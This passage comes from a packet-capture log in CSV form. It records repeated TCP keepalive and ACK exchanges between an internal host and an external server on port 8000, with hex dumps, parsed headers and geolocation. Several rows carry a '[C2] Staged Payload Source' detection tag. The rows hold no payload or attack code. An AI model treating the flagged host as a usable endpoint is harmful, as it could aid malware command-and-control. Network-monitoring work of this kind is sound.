\"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 51835, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25988, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:07:26.748783,307,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b02b400080063fd30a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45099, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16339, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:26.748795,308,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca7c400040066577c0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4.|@.@.ew....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51836, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25975, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:27.764358,309,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b02c400080063fd20a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45100, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16338, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:27.764367,310,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca7d400040066576c0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4.}@.@.ev....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51837, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25974, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:28.764490,311,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b02d400080063fd10a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45101, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16337, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:28.764515,312,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca7e400040066575c0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4.~@.@.eu....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51838, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25973, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:29.780199,313,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b02e400080063fd00a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45102, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16336, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:29.780217,314,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca7f400040066574c0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.et....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51839, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25972, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:30.795667,315,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b02f400080063fcf0a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45103, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16335, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:30.795699,316,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca80400040066573c0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.es....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51840, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25971, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:31.811292,317,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b030400080063fce0a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45104, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16334, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:31.811314,318,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca81400040066572c0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.er....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51841, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25970, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:32.826976,319,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b031400080063fcd0a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45105, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16333, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:32.827009,320,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca82400040066571c0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.eq....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51842, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25969, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:33.842586,321,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b032400080063fcc0a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 45106, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16332, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64078, \"\"dport\"\": 8000, \"\"seq\"\": 2691200851, \"\"ack\"\": 3062808726, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 56446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:07:33.842599,322,TCP 192.163.167.137:8000 -> 10.152.152.11:64078,192.163.167.137,10.152.152.11,8000,64078,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3062808726 Ack=2691200852,bc2411360d0cbc24112907bb080045000034ca83400040066570c0a3a7890a98980b1f40fa4eb68ec096a06877548010003f0af700000101050aa0687753a0687754,\".$.6\n..$.)....E..4..@.@.ep....\n....@.N.....hwT...?\n......\n.hwS.hwT\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 51843, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 25968, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64078, \"\"seq\"\": 3062808726, \"\"ack\"\": 2691200852, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (2691200851, 2691200852))]\"\"}}]\"\n2026-07-01 09:07:34.858340,323,TCP 10.152.152.11:64078 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64078,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=2691200851 Ack=3062808726,bc24112907bbbc2411360d0c080045000029b033400080063fcb0a98980bc0a3a789fa4e1f40a0687753b68ec09650102014dc7e000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": 